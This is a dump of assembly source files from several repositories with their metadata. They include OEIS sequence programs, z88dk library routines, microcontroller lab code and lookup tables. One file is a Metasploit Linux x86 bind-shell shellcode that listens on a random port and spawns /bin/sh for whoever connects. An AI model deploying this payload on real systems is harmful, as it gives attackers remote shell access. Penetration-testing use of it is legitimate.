$CE, $CF, $D0, $D1,\ $D2, $D3, $D5, $D6, $D7, $D8, $D9, $DB, $DC, $DD, $DF, $E0, $E1, $E3, $E4, $E6,\ $E7, $E8, $EA, $EB, $ED, $EE, $F0, $F1, $F3, $F5, $F6, $F8, $F9, $FB, $FC, $FE,\ $00, $01, $03, $04, $06, $07, $09, $0A, $0C, $0E, $0F, $11, $12, $14, $15, $17,\ $18, $19, $1B, $1C, $1E, $1F, $20, $22, $23, $24, $26, $27, $28, $29, $2A, $2C,\ $2D, $2E, $2F, $30, $31, $32, $33, $34, $35, $36, $36, $37, $38, $39, $39, $3A,\ $3B, $3B, $3C, $3C, $3D, $3D, $3E, $3E, $3E, $3F, $3F, $3F, $3F, $3F, $3F, $3F ;---------------------------- cosDataLow: .db $00, $FB, $EC, $D4, $B1, $85, $4F, $0F, $C5, $72, $15, $AF, $3F, $C5, $42, $B6,\ $21, $82, $DB, $2B, $71, $B0, $E5, $12, $37, $53, $68, $74, $79, $76, $6C, $5A,\ $41, $21, $FB, $CE, $9A, $60, $20, $DA, $8E, $3D, $E7, $8C, $2B, $C6, $5D, $EF,\ $7E, $09, $90, $13, $94, $12, $8D, $06, $7C, $F1, $64, $D6, $46, $B5, $24, $92,\ $00, $6E, $DC, $4B, $BA, $2A, $9C, $0F, $84, $FA, $73, $EE, $6C, $ED, $70, $F7,\ $82, $11, $A3, $3A, $D5, $74, $19, $C3, $72, $26, $E0, $A0, $66, $32, $05, $DF,\ $BF, $A6, $94, $8A, $87, $8C, $98, $AD, $C9, $EE, $1B, $50, $8F, $D5, $25, $7E,\ $DF, $4A, $BE, $3B, $C1, $51, $EB, $8E, $3B, $F1, $B1, $7B, $4F, $2C, $14, $05,\ $00, $05, $14, $2C, $4F, $7B, $B1, $F1, $3B, $8E, $EB, $51, $C1, $3B, $BE, $4A,\ $DF, $7E, $25, $D5, $8F, $50, $1B, $EE, $C9, $AD, $98, $8C, $87, $8A, $94, $A6,\ $BF, $DF, $05, $32, $66, $A0, $E0, $26, $72, $C3, $19, $74, $D5, $3A, $A3, $11,\ $82, $F7, $70, $ED, $6C, $EE, $73, $FA, $84, $0F, $9C, $2A, $BA, $4B, $DC, $6E,\ $00, $92, $24, $B5, $46, $D6, $64, $F1, $7C, $06, $8D, $12, $94, $13, $90, $09,\ $7E, $EF, $5D, $C6, $2B, $8C, $E7, $3D, $8E, $DA, $20, $60, $9A, $CE, $FB, $21,\ $41, $5A, $6C, $76, $79, $74, $68, $53, $37, $12, $E5, $B0, $71, $2B, $DB, $82,\ $21, $B6, $42, $C5, $3F, $AF, $15, $72, $C5, $0F, $4F, $85, $B1, $D4, $EC, $FB ;//////////////////////////// .bank 3 INCBIN "char.dat" ; 8K 3 $03 INCBIN "mul.dat" ; 128K 4~19 $04~$13 INCBIN "div.dat" ; 96K 20~31 $14~$1F
18.070724
168
0.556082
98b0d74b4a2952d2916803714b37dc1dadd237eb
370
asm
Assembly
oeis/115/A115332.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/115/A115332.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/115/A115332.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A115332: E.g.f: exp(x/(1-5*x))/sqrt(1-25*x^2). ; Submitted by Jon Maiga ; 1,1,36,256,11236,181476,9461776,251412736,15256202256,574194155536,39891552832576,1953973812658176,153336819846991936,9264773325882888256,812060124489852846336,58352827798669641650176 mov $3,1 lpb $0 mul $1,$0 sub $0,1 mov $2,$3 add $3,$1 mov $1,5 mul $1,$2 lpe pow $3,2 mov $0,$3
23.125
185
0.716216
98fa091bdcc3af643b773e1c75ec4ecf0b0c24af
2,975
asm
Assembly
libsrc/z80_crt0s/gbz80/sdcc/l_divu16.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/z80_crt0s/gbz80/sdcc/l_divu16.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/z80_crt0s/gbz80/sdcc/l_divu16.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_l_sdcc PUBLIC l_divu8 PUBLIC l_modu8 PUBLIC l_divu16 PUBLIC l_modu16 l_divu8: l_modu8: ld b,0x00 ld d,b ; Fall through to divu16 l_divu16: l_modu16: ;; Check for division by zero ld a,e or d jr NZ,divide ; Branch if divisor is non-zero ld bc,0x00 ; Divide by zero error ld d,b ld e,c scf ; Set carry, invalid result ret divide: ld l,c ; L = low byte of dividend/quotient ld h,b ; H = high byte of dividend/quotient ld bc,0x00 ; BC = remainder or a ; Clear carry to start ld a,16 ; 16 bits in dividend dvloop: ;; Shift next bit of quotient into bit 0 of dividend ;; Shift next MSB of dividend into LSB of remainder ;; BC holds both dividend and quotient. While we shift a bit from ;; MSB of dividend, we shift next bit of quotient in from carry ;; HL holds remainder ;; Do a 32-bit left shift, shifting carry to L, L to H, ;; H to C, C to B push af ; save number of bits remaining rl l ; Carry (next bit of quotient) to bit 0 rl h ; Shift remaining bytes rl c rl b ; Clears carry since BC was 0 ;; If remainder is >= divisor, next bit of quotient is 1. This ;; bit goes to carry push bc ; Save current remainder ld a,c ; Substract divisor from remainder sbc e ld c,a ld a,b sbc d ld b,a ccf ; Complement borrow so 1 indicates a ; successful substraction (this is the ; next bit of quotient) jr C,drop ; Jump if remainder is >= dividend pop bc ; Otherwise, restore remainder pop af ; recover # bits remaining, carry flag destroyed dec a or a ; restore (clear) the carry flag jr NZ,dvloop jr nodrop drop: inc sp inc sp pop af ; recover # bits remaining, carry flag destroyed dec a scf ; restore (set) the carry flag jr NZ,dvloop jr nodrop nodrop: ;; Shift last carry bit into quotient ld d,b ; DE = remainder ld e,c rl l ; Carry to L ld c,l ; C = low byte of quotient rl h ld b,h ; B = high byte of quotient or a ; Clear carry, valid result ret
35.843373
80
0.455126
dff9f318f06cc4ebb40de97adf44c62c5c209e08
583
asm
Assembly
programs/oeis/186/A186316.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/186/A186316.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/186/A186316.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A186316: Adjusted joint rank sequence of (f(i)) and (g(j)) with f(i) before g(j) when f(i)=g(j), where f and g are the squares and hexagonal numbers. Complement of A186315. ; 2,4,6,9,11,14,16,18,21,23,26,28,31,33,35,38,40,43,45,47,50,52,55,57,60,62,64,67,69,72,74,76,79,81,84,86,88,91,93,96,98,101,103,105,108,110,113,115,117,120,122,125,127,130,132,134,137,139,142,144,146,149,151,154,156,158,161,163,166,168,171,173,175,178,180,183,185,187,190,192,195,197,200,202,204,207,209,212,214,216,219,221,224,226,228,231,233,236,238,241 add $0,5 mul $0,70 div $0,29 mov $1,$0 sub $1,10
64.777778
356
0.698113
a9eabecee30b6c897435728f3746395d41951258
3,123
asm
Assembly
external/source/shellcode/linux/ia32/single_shell_bind_tcp_random_port.asm
madhavarao-yejarla/VoIP
3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e
[ "Apache-2.0", "BSD-3-Clause" ]
35
2015-08-08T07:23:38.000Z
2021-04-07T18:00:44.000Z
external/source/shellcode/linux/ia32/single_shell_bind_tcp_random_port.asm
madhavarao-yejarla/VoIP
3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e
[ "Apache-2.0", "BSD-3-Clause" ]
1
2019-02-12T12:13:53.000Z
2019-02-12T12:13:53.000Z
external/source/shellcode/linux/ia32/single_shell_bind_tcp_random_port.asm
fozavci/metasploit-framework-with-viproy
3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e
[ "Apache-2.0", "BSD-3-Clause" ]
23
2015-08-11T05:07:47.000Z
2020-11-06T03:55:10.000Z
;; ; ; Name: single_shell_bind_tcp_random ; Qualities: None ; Platforms: Linux ; Author: Geyslan G. Bem <geyslan@gmail.com> ; License: BSD 3-Clause ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as ; the rest of this package. ; ; Description: ; ; Listen for a connection in a random port and spawn a ; command shell. ; Use nmap to discover the open port: 'nmap -sS target -p-'. ; Repo source: http://goo.gl/V5OObo ; ;; bits 32 global _start section .text _start: ; Avoiding garbage ; Putting zero in three registers (eax, ebx and edx), search about mul instruction for understanding xor ebx, ebx mul ebx ; syscalls (/usr/include/asm/unistd_32.h) ; socketcall numbers (/usr/include/linux/net.h) ; Creating the socket file descriptor ; int socket(int domain, int type, int protocol); ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) mov al, 102 ; syscall 102 - socketcall inc ebx ; socketcall type (sys_socket 1) ; socket arguments (bits/socket.h, netinet/in.h) push edx ; IPPROTO_IP = 0 (int) push ebx ; SOCK_STREAM = 1 (int) push 2 ; AF_INET = 2 (int) mov ecx, esp ; ptr to argument array int 0x80 ; kernel interruption ; Preparing to listen the incoming connection (passive socket) ; int listen(int sockfd, int backlog); ; listen(sockfd, int); ; listen arguments push edx ; put zero push eax ; put the file descriptor returned by socket() mov ecx, esp ; ptr to argument array mov al, 102 ; syscall 102 - socketcall mov bl, 4 ; socketcall type (sys_listen 4) int 0x80 ; kernel interruption ; Accepting the incoming connection ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); ; accept(sockfd, NULL, NULL) mov al, 102 ; syscall 102 - socketcall inc ebx ; socketcall type (sys_accept 5) ; accept arguments ; here we just don't need do nothing, the ecx already points to sockfd, NULL and 2 ; you ask me: but the correct isn't sockfd, NULL, NULL? Well, 'man accept' to figure out ;D) int 0x80 ; kernel interruption ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) ; int dup2(int oldfd, int newfd); ; dup2(clientfd, ...) pop ecx ; pop the sockfd integer to use as the loop counter ecx xchg ebx, eax ; swapping registers values to put the accepted sockfd (client) in ebx as argument in next syscall (dup2) dup_loop: push 63 ; syscall 63 - dup2 pop eax int 0x80 ; kernel interruption dec ecx ; file descriptor and loop counter jns dup_loop ; Finally, using execve to substitute the actual process with /bin/sh ; int execve(const char *filename, char *const argv[], char *const envp[]); ; exevcve("/bin/sh", NULL, NULL) mov al, 11 ; execve syscall ; execve string argument ; stack already contains NULL on top push 0x68732f2f ; "//sh" push 0x6e69622f ; "/bin" mov ebx, esp ; ptr to "/bin//sh" string inc ecx ; zero to argv ; zero to envp (edx) int 0x80
26.466102
122
0.674672
f3a5d849da37e620e71dc58dc606a99bd1d011d1
199
asm
Assembly
libsrc/alloc/malloc-classic/mallinfo.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/alloc/malloc-classic/mallinfo.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/alloc/malloc-classic/mallinfo.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; CALLER linkage for function pointers SECTION code_clib PUBLIC mallinfo PUBLIC _mallinfo EXTERN HeapInfo EXTERN _heap .mallinfo ._mallinfo ld hl,_heap ex (sp),hl push hl jp HeapInfo
11.705882
38
0.753769
8bd1baacce0a395c634c46e735e7467f8792307b
797
asm
Assembly
oeis/142/A142037.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/142/A142037.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/142/A142037.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A142037: Primes congruent to 7 mod 32. ; Submitted by Jon Maiga ; 7,71,103,167,199,263,359,487,647,743,839,967,1031,1063,1223,1319,1447,1511,1543,1607,1831,2087,2311,2503,2663,2791,2887,3079,3271,3463,3527,3559,3623,3719,3847,3911,3943,4007,4231,4327,4391,4423,4519,4583,4679,4871,4903,4967,4999,5351,5479,5639,5927,6151,6247,6311,6343,6599,6791,6823,6983,7079,7207,7559,7591,7687,7879,8039,8167,8231,8263,8423,8647,8807,8839,8999,9127,9319,9479,9511,9767,10151,10247,10343,10567,10631,10663,11047,11239,11399,11527,11719,11783,12007,12071,12263,12391,12487,12583 mov $2,36 mul $2,$0 mov $4,6 lpb $2 mov $3,$4 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,32 lpe mov $0,$4 add $0,1
37.952381
499
0.723965
550fa89443a67d9981f834d4a8b7aac662928e33
142
asm
Assembly
01. 8051/02. Data Transfer/Act2.asm
nitrece/microprocessor-laboratory
40d9e41537e56fb049ef6230fcaaaee3b5d3b121
[ "MIT" ]
null
null
null
01. 8051/02. Data Transfer/Act2.asm
nitrece/microprocessor-laboratory
40d9e41537e56fb049ef6230fcaaaee3b5d3b121
[ "MIT" ]
null
null
null
01. 8051/02. Data Transfer/Act2.asm
nitrece/microprocessor-laboratory
40d9e41537e56fb049ef6230fcaaaee3b5d3b121
[ "MIT" ]
null
null
null
org 0h mov r0, #40h mov r3, #5 mov b, @r0 loop: mov a, b subb a, @r0 jnc is_smaller mov b, @r0 is_smaller: inc r0 djnz r3, loop mov p2, b end
9.466667
14
0.661972
27da7b3a89eacd6238f0efa84b1779d6b5a09e65
224
asm
Assembly
libsrc/_DEVELOPMENT/string/c/sccz80/strsep.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/string/c/sccz80/strsep.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/string/c/sccz80/strsep.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; char *strsep(char ** restrict stringp, const char * restrict delim) SECTION code_string PUBLIC strsep EXTERN asm_strsep strsep: pop af pop de pop bc push bc push de push af jp asm_strsep
10.666667
69
0.660714
b4e99a8eb20d29a0b07d74686bf771a97f9879c1
3,719
asm
Assembly
assembler/tests/t_hmcs4x/t_hmcs4x.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
null
null
null
assembler/tests/t_hmcs4x/t_hmcs4x.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
null
null
null
assembler/tests/t_hmcs4x/t_hmcs4x.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
null
null
null
cpu HD614023 page 0 lai 7 ld #7,a ; AS-specific equivalent lbi 12 ld #12,b ; AS-specific equivalent lmid 3,$7f ld #3,$7f ; AS-specific equivalent lmiiy 4 ld #4,m+ ; AS-specific equivalent lab ld b,a ; AS-specific equivalent lba ld a,b ; AS-specific equivalent lay ld y,a ; AS-specific equivalent laspx ld spx,a ; AS-specific equivalent laspy ld spy,a ; AS-specific equivalent lamr 5 ld mr5,a ; AS-specific equivalent xmra 1 xch a,mr1 ; AS-specific equivalent xch mr1,a ; AS-specific equivalent lwi 3 ld #3,w ; AS-specific equivalent lxi 2 ld #2,x ; AS-specific equivalent lyi 4 ld #4,y ; AS-specific equivalent lxa ld a,x ; AS-specific equivalent lya ld a,y ; AS-specific equivalent iy inc y ; AS-specific equivalent dy dec y ; AS-specific equivalent ayy add a,y ; AS-specific equivalent syy sub a,y ; AS-specific equivalent xspx xch x,spx ; AS-specific equivalent xch spx,x ; AS-specific equivalent xspy xch y,spy ; AS-specific equivalent xch spy,y ; AS-specific equivalent xspxy lam ld m,a ; AS-specific equivalent lamx lamy lamxy lamd $7e ld $7e,a ; AS-specific equivalent lbm ld m,b ; AS-specific equivalent lbmx lbmy lbmxy lma ld a,m ; AS-specific equivalent lmax lmay lmaxy lmad $7d ld a,$7d ; AS-specific equivalent lmaiy ld a,m+ ; AS-specific equivalent lmaiyx lmady ld a,m- ; AS-specific equivalent lmadyx xma xch a,m ; AS-specific equivalent xch m,a xmax xmay xmaxy xmad $7d xch a,$7d ; AS-specific equivalent xch $7d,a ; AS-specific equivalent xmb xch b,m ; AS-specific equivalent xch m,b ; AS-specific equivalent xmbx xmby xmbxy ai 5 add #5,a ; AS-specific equivalent ib inc b ; AS-specific equivalent db dec b ; AS-specific equivalent daa das nega comb rotr rotl sec bset ca ; AS-specific equivalent rec bclr ca ; AS-specific equivalent tc btst ca ; AS-specific equivalent am add m,a ; AS-specific equivalent amd $7c add $7c,a ; AS-specific equivalent amc adc m,a ; AS-specific equivalent amcd $7b adc $7b,a ; AS-specific equivalent smc sbc m,a ; AS-specific equivalent smcd $7a sbc $7a,a ; AS-specific equivalent or or b,a ; AS-specific equivalent anm and m,a ; AS-specific equivalent anmd $79 and $79,a ; AS-specific equivalent orm or m,a ; AS-specific equivalent ormd $78 or $78,a ; AS-specific equivalent eorm eor m,a ; AS-specific equivalent eormd $77 eor $77,a ; AS-specific equivalent inem 6 cp ne,m,#6 ; AS-specific equivalent cp ne,#6,m ; AS-specific equivalent inemd 5,$76 cp ne,$76,#5 ; AS-specific equivalent cp ne,#5,$76 ; AS-specific equivalent anem cp ne,m,a ; AS-specific equivalent cp ne,a,m ; AS-specific equivalent anemd $75 cp ne,$75,a ; AS-specific equivalent cp ne,a,$75 ; AS-specific equivalent bnem cp ne,m,b ; AS-specific equivalent cp ne,b,m ; AS-specific equivalent ynei 9 cp ne,#9,y ; AS-specific equivalent cp ne,y,#9 ; AS-specific equivalent ilem 8 cp le,m,#8 ; AS-specific equivalent ilemd 7,$74 cp le,$74,#7 ; AS-specific equivalent alem cp le,m,a ; AS-specific equivalent alemd $73 cp le,$73,a ; AS-specific equivalent blem cp le,m,b ; AS-specific equivalent alei 2 cp le,#2,a ; AS-specific equivalent sem 1 bset 1,m ; AS-specific equivalent semd 2,$72 bset 2,$72 ; AS-specific equivalent rem 3 bclr 3,m ; AS-specific equivalent remd 0,$71 bclr 0,$71 ; AS-specific equivalent tm 1 btst 1,m ; AS-specific equivalent tmd 2,$70 btst 2,$70 ; AS-specific equivalent br $ab brl $7ab jmpl $7ab cal 5 call $7ab tbr 4 rtn rtni sed sedd 1 red redd 2 td tdd 3 lar 4 lbr 5 lra 6 lrb 7 p 8 nop sby stop
17.709524
38
0.685399
34772d2d69bf9154fe2705b090c62b4f085069fb
311
asm
Assembly
libsrc/_DEVELOPMENT/l/sccz80/4-r2k/l_asr_u.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/l/sccz80/4-r2k/l_asr_u.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/l/sccz80/4-r2k/l_asr_u.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; Crt0 for Rabbit ; ; Shift de right by hl bits ; ; SECTION code_clib SECTION code_l_sccz80 PUBLIC l_asr_u ; Entry: hl = bit shift counter ; de = value to shift ; Exit: hl = result ; .l_asr_u ex de,hl .l_asr_u_1 dec e ret m and a defb 0xfc ; rr hl jp l_asr_u_1
13.521739
31
0.601286
f6be93a05f0890ffb475a12eb01a14759dc1f724
268
asm
Assembly
libsrc/strings/strchr.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
8
2017-01-18T12:02:17.000Z
2021-06-12T09:40:28.000Z
libsrc/strings/strchr.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2017-03-06T07:41:56.000Z
2017-03-06T07:41:56.000Z
libsrc/strings/strchr.asm
RC2014Z80/z88dk
e5b9447b970e5fae26544b6d8aa5957c98ba0e6a
[ "ClArtistic" ]
3
2017-03-07T03:19:40.000Z
2021-09-15T17:59:19.000Z
; CALLER linkage for function pointers SECTION code_clib PUBLIC strchr PUBLIC _strchr EXTERN strchr_callee EXTERN ASMDISP_STRCHR_CALLEE .strchr ._strchr pop af pop bc pop hl push hl push bc push af jp strchr_callee + ASMDISP_STRCHR_CALLEE
12.761905
43
0.75
118524bfaf587654f34d5e0ebba97ef95a6a52dd
1,558
asm
Assembly
programs/oeis/001/A001950.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/001/A001950.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/001/A001950.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A001950: Upper Wythoff sequence (a Beatty sequence): a(n) = floor(n*phi^2), where phi = (1+sqrt(5))/2. ; 2,5,7,10,13,15,18,20,23,26,28,31,34,36,39,41,44,47,49,52,54,57,60,62,65,68,70,73,75,78,81,83,86,89,91,94,96,99,102,104,107,109,112,115,117,120,123,125,128,130,133,136,138,141,143,146,149,151,154,157,159,162,164,167,170,172,175,178,180,183,185,188,191,193,196,198,201,204,206,209,212,214,217,219,222,225,227,230,233,235,238,240,243,246,248,251,253,256,259,261,264,267,269,272,274,277,280,282,285,287,290,293,295,298,301,303,306,308,311,314,316,319,322,324,327,329,332,335,337,340,342,345,348,350,353,356,358,361,363,366,369,371,374,376,379,382,384,387,390,392,395,397,400,403,405,408,411,413,416,418,421,424,426,429,431,434,437,439,442,445,447,450,452,455,458,460,463,466,468,471,473,476,479,481,484,486,489,492,494,497,500,502,505,507,510,513,515,518,520,523,526,528,531,534,536,539,541,544,547,549,552,555,557,560,562,565,568,570,573,575,578,581,583,586,589,591,594,596,599,602,604,607,610,612,615,617,620,623,625,628,630,633,636,638,641,644,646,649,651,654 mov $3,$0 mov $4,$0 add $4,1 lpb $4,1 mov $0,$3 sub $4,1 sub $0,$4 mov $7,$0 mov $9,2 lpb $9,1 sub $9,1 add $0,$9 sub $0,1 mov $2,$0 mov $6,$0 lpb $2,1 add $6,1 lpb $6,1 mov $6,$2 add $2,2 pow $6,2 lpe sub $2,1 add $6,$0 lpe mov $5,$2 mov $10,$9 lpb $10,1 mov $8,$5 sub $10,1 lpe lpe lpb $7,1 mov $7,0 sub $8,$5 lpe mov $5,$8 add $5,2 add $1,$5 lpe
35.409091
960
0.621951
1255c9933e9f7c4c2fc9511e870aa8c13f95b03e
1,382
asm
Assembly
AVR/PWM.asm
StxGuy/EmbeddedSystems
6d9bc8b295724d361ea1d82e701e6530f74e2300
[ "MIT" ]
null
null
null
AVR/PWM.asm
StxGuy/EmbeddedSystems
6d9bc8b295724d361ea1d82e701e6530f74e2300
[ "MIT" ]
null
null
null
AVR/PWM.asm
StxGuy/EmbeddedSystems
6d9bc8b295724d361ea1d82e701e6530f74e2300
[ "MIT" ]
null
null
null
;-------------------------------------; ; PWM FOR ATMEGAL328p ; ; ; ; Por: Prof. Carlo Requiao ; ; 10/Nov/2021 ; ;-------------------------------------; .device ATmega328P ;-------------------------------------; ; MACROS ; ;-------------------------------------; .macro initstack ldi R16,low(RAMEND) out spl,R16 ldi R16,high(RAMEND) out sph,R16 .endmacro .macro config_pins in R16,MCUCR ori R16,(1<<PUD) out MCUCR,R16 ; Disable pull-up sbi DDRB,5 ; on-board LED is output sbi DDRB,1 ; PB1/Arduino 9 is output .endmacro .macro config_counter ldi R16,(1<<WGM13)|(1<<WGM12)|(1<<CS12) sts TCCR1B,R16 ldi R16,(1<<COM1A1)|(1<<WGM11)|(1<<COM1A0) sts TCCR1A,R16 ldi R16,0x04 sts ICR1H,R16 ldi R16,0xE2 sts ICR1L,R16 ldi R16,0x7D sts OCR1AL,R16 .endmacro ;-------------------------------------; ; MEMORY SEGMENTS ; ;-------------------------------------; .dseg .cseg .org 0x0000 ; RESET rjmp INICIO .org 0x0034 ; Code located ; after interrupt table ;-------------------------------------; ; MAIN ; ;-------------------------------------; INICIO: initstack config_pins config_counter LOOP: nop rjmp LOOP
19.194444
47
0.410275
d272a8c38e96ea6078342fcee5bce05bf542f446
1,073
asm
Assembly
programs/oeis/104/A104745.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/104/A104745.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/104/A104745.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A104745: a(n) = 5^n + n. ; 1,6,27,128,629,3130,15631,78132,390633,1953134,9765635,48828136,244140637,1220703138,6103515639,30517578140,152587890641,762939453142,3814697265643,19073486328144,95367431640645,476837158203146,2384185791015647,11920928955078148,59604644775390649,298023223876953150,1490116119384765651,7450580596923828152,37252902984619140653,186264514923095703154,931322574615478515655,4656612873077392578156,23283064365386962890657,116415321826934814453158,582076609134674072265659,2910383045673370361328160,14551915228366851806640661,72759576141834259033203162,363797880709171295166015663,1818989403545856475830078164,9094947017729282379150390665,45474735088646411895751953166,227373675443232059478759765667,1136868377216160297393798828168,5684341886080801486968994140669,28421709430404007434844970703170,142108547152020037174224853515671,710542735760100185871124267578172,3552713678800500929355621337890673,17763568394002504646778106689453174,88817841970012523233890533447265675,444089209850062616169452667236328176 mov $1,5 pow $1,$0 add $1,$0 mov $0,$1
134.125
1,005
0.917055
7d8fa40c370037ef717f74b3d60fe9af0448ea21
296
asm
Assembly
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sdcc/UNSAFE_SMS_VRAMmemcpy128_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sdcc/UNSAFE_SMS_VRAMmemcpy128_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sdcc/UNSAFE_SMS_VRAMmemcpy128_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void UNSAFE_SMS_VRAMmemcpy128(unsigned int dst,void *src) SECTION code_clib SECTION code_SMSlib PUBLIC _UNSAFE_SMS_VRAMmemcpy128_callee EXTERN asm_SMSlib_UNSAFE_VRAMmemcpy128 _UNSAFE_SMS_VRAMmemcpy128_callee: pop af pop hl pop de push af jp asm_SMSlib_UNSAFE_VRAMmemcpy128
16.444444
59
0.824324
e1b44d42b0a6629a3bd416bc0c891b0a83d00371
3,778
asm
Assembly
third_party/virtualbox/src/VBox/Runtime/r0drv/os2/RTR0Os2DHVMGlobalToProcess.asm
Fimbure/icebox-1
0b81992a53e1b410955ca89bdb6f8169d6f2da86
[ "MIT" ]
521
2019-03-29T15:44:08.000Z
2022-03-22T09:46:19.000Z
third_party/virtualbox/src/VBox/Runtime/r0drv/os2/RTR0Os2DHVMGlobalToProcess.asm
Fimbure/icebox-1
0b81992a53e1b410955ca89bdb6f8169d6f2da86
[ "MIT" ]
30
2019-06-04T17:00:49.000Z
2021-09-08T20:44:19.000Z
third_party/virtualbox/src/VBox/Runtime/r0drv/os2/RTR0Os2DHVMGlobalToProcess.asm
Fimbure/icebox-1
0b81992a53e1b410955ca89bdb6f8169d6f2da86
[ "MIT" ]
99
2019-03-29T16:04:13.000Z
2022-03-28T16:59:34.000Z
